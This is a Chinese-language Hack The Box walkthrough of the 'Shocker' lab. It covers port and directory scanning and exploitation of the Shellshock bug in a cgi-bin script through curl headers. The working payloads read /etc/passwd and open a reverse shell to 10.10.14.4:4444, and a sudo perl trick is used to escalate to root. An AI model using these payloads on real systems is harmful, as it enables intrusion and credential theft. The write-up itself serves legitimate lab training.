使用Nmap对靶机地址进行端口嗅探,发现其开放80、2222端口,操作系统为Linux。
使用searchsploit对SSH版本进行漏洞发现,发现存在用户名枚举漏洞,使用MSF模块进行枚举,直到获取flag都未能枚举出用户信息。
查看Web服务,为显示“Don't Bug Me”的静态页面。
使用Dirb对http://10.129.104.94/进行目录扫描,仅发现以下三个结果,其中http://10.129.104.94/cgi-bin/为403的目录。
搜索cgi-bin相关漏洞,未发现可以利用的漏洞。百度发现以下信息。
cgi-bin
CGI程序不能放在任意的目录下,只能放在CGI-BIN目录下。有的虚拟主机系统只提供一个公用的CGI-BIN目录,放置一些常用 的CGI程序供虚拟主机用户使用,这对用户不够方便,因为用户经常需要放置自己编制的CGI程序。
CGI程序在linux和windows操作系统上都能运行。这些程序一般要放在服务器上(比如tomcat、busybox等),远程访问服务器时,这些程序会自动运行。
最终对cgi-bin/目录进行目录扫描,发现存在user.sh文件,下载后查看,他是一个测试脚本,返回了测试时间且为下载请求时的时间。确定其是一个可运行的sh脚本。
尝试进行破壳漏洞验证,正常返回/etc/passwd文件信息,说明靶机存在破壳漏洞。
curl -H 'x: () { :;}; a=`/bin/cat /etc/passwd`; echo $a' 'http://10.129.104.94/cgi-bin/user.sh' -I
利用破壳漏洞进行反弹shell。
curl -H 'x: () { :;}; /bin/bash -i >& /dev/tcp/10.10.14.4/4444 0>&1' 'http://10.129.104.94/cgi-bin/user.sh' -I
NC监听4444端口,收到shell。
获取user.txt。
执行sudo -l命令,发现/usr/bin/perl具备root免密执行权限,下一步利用perl进行提权操作。
sudo /usr/bin/perl -e "exec('/bin/sh')
获取root.txt。
sudo -l提权方式是Hack The Box里面非常经典的提权方式之一。
CVE-2014-6271(即“破壳”漏洞)广泛存在与GNU Bash 版本小于等于4.3的*inux的系统之中,只要目标服务器开放着与Bash相交互的应用与服务,就有可能成功触发漏洞,获取目标系统当前Bash运行用户相同权限的shell接口。
在Shocker靶场中,通过目录扫描发现10.129.104.94/cgi-bin/user.sh地址,查看user.sh,它是一个测试脚本,并可以随时返回测试时间,该脚本即符合与Bash相交互的应用与服务。
5.1.1 漏洞验证
env x='() { :;}; echo vulnerable' /bin/bash –c "echo This is a test"
5.1.2漏洞利用
# 验证
curl -H 'x: () { :;}; a=`/bin/cat /etc/passwd`; echo $a' 'http://10.129.104.94/cgi-bin/user.sh' -I
# 反弹
curl -H 'x: () { :;}; /bin/bash -i >& /dev/tcp/10.10.14.4/4444 0>&1' 'http://10.129.104.94/cgi-bin/user.sh' -I